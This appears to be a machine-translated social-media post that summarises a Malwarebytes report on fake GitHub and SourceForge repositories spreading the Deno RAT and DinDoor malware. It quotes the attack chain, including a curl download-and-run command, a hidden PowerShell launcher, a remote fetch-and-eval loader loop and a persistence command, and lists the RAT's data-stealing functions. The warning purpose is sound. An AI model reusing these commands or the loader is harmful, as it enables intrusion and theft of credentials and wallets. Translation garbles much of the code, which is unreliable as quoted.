Beware of fake software on GitHub with SourceForge

Beware of fake software on GitHub with SourceForge loaded, may be addicted to Deno RAT malware.

According to a report by the official website of the developer of the famous anti-malware tool, Malwarebytes has mentioned the detection of the use of the GitHub and SourceForge platforms as intermediaries to spread malware of the remote access type of victim machine, or the RAT (Remote Access Trojan) called Deno RAT and the system's open back door type malware, or the Backdoor called DinDoor, which is also a subspecies in the Deno family, due to the use of Deno JavaScript during Runtime to help evade detection.

For this campaign, it can be called simple. Hackers use phishing to hack other Youtube channels to deceive clips that have free-to-use famous software with methods. These clips have a total of fifty thousand viewers. The software used for the impersonation is usually artificial intelligence software or AI (Artificial Intelligence), cracked bootleg software, and other unofficial tools. Then post a promo message with a link that claims to be free software can take the victim to Repo or Repository on GitHub, SourceForge, and other similar platforms. The account used by hackers to create Repo is so decorative that it resembles a genuine developer that many victims are unmoved and convinced.

After the victim enters Repo, the destination will find a code that claims to be copied and placed on the tool to install the software. If you are a Windows operating system user, you will open the Cmd feature and paste the code to run it. If you are a macOS user, you will run it through the Terminal application. This method is similar to using an error page or a deceptive identity confirmation page to copy the code to run it as a fix, which is called ClickFix.

In the area of malware embedding, the research team gave an example of working on the Windows version to start by tricking the victim into copying this command to run on cmd.

Curl -Lo% temp% s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi & & msiexec / i% temp% s.msi

The command downloads malware installers in the MSI genus to run automatically through msiexec. It leads to the release of the .cmd file and the PowerShell script file into the InstationFolder. This is followed by the execd file to run the PowerShell script with the command.

@ set "SCRIPTDIR =% ~ dp0" @ powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File"' + $env: SCRIPTDIR + '{Random name} ps1 "') -WindowStyle Hidden"

The PowerShell script itself is handled in the malware installation process as follows:

Insten a Package Manager called Scoop.

Use Scoop to manage the installation of WinGet, a Windows Package Manager type of software, if WinGet is not detected on the system.

Then use WinGet to install Deno JavaScript with the command implementation below.

"C: Usersadminscoopappswingetcurrentwinget .exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent

Next to that, it would be to use Deno to install DinDoor malware via Word.

"C: UsersadminAppDataLocalMicrosoftWinGetPackagesDenoLand Deno _ Microsoft. Winget.Source _ 8wekyb3d8bbwedeno.exe" runs -A http: / / {C2} / {random _ path} .js

Returned Code under the name "launcher-1" will be a small eval-loop function used to download the next step under the name "launcher-2" to install DinDoor malware. The characteristics of the Returned Code are as follows:

var a = "{C2}." split (","), i = 0; for (;) {let e = null; try {let t = await fetch (a [i% a.length] + "/ {BUILD _ ID} .js"); if (! t.ok) throw 0; e = await t.text ()} catch {i + +, await new Promise (t = > setTimeout (t, 5e3)); continue} try {await (0, eval) ("(async () = > {" + e + "}) ()" catch} {await new Promise (t = > setTimeout (t, 3e3)}

The DinDoor malware is used to create persistence on the system (Persistence) by using the command below to create a Run Key to "launcher-1" to guarantee that the malware can return the malware at any time.

conhost.exe --headless "" -A "% APPDATA% .js

Contact C2 or Command and Control to download Deno RAT malware payload files to install. Deno RAT malware has the ability to handle commands from a variety of servers such as exec, exec-ps, exec-sc, sysinfo, screenshots, and stealer. There are also many functions to handle the victim's machine, such as

Retain different data from the victim's machine.

Control the victim's machine by using the VNC (Virtual Network Computing) tool through the WebSocket channel.

Stealing data from the Crypto Wallet as an extension of over 50 web browsers and 10 software wallet folders, covering Atomic Wallet, Exodus, Electrum, and ByteCoin, among others.

Steals data from many web browsers such as Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser, and Chromodo.

Stealing and tampering with data on Clipboard

Data Smuggling (Exfiltration) of Telegram, Discord, and Lightcord Applications

Screen Smuggling (Screenshot)

Run or delete the Process at will.

Run PowerShell commands

Create SOCKS5 Proxy Tunnels via WebSocket

Run Payload to install more malware.

# Trending # Lemon 8 Howtoo # lemon 8 diary # github # sourceforge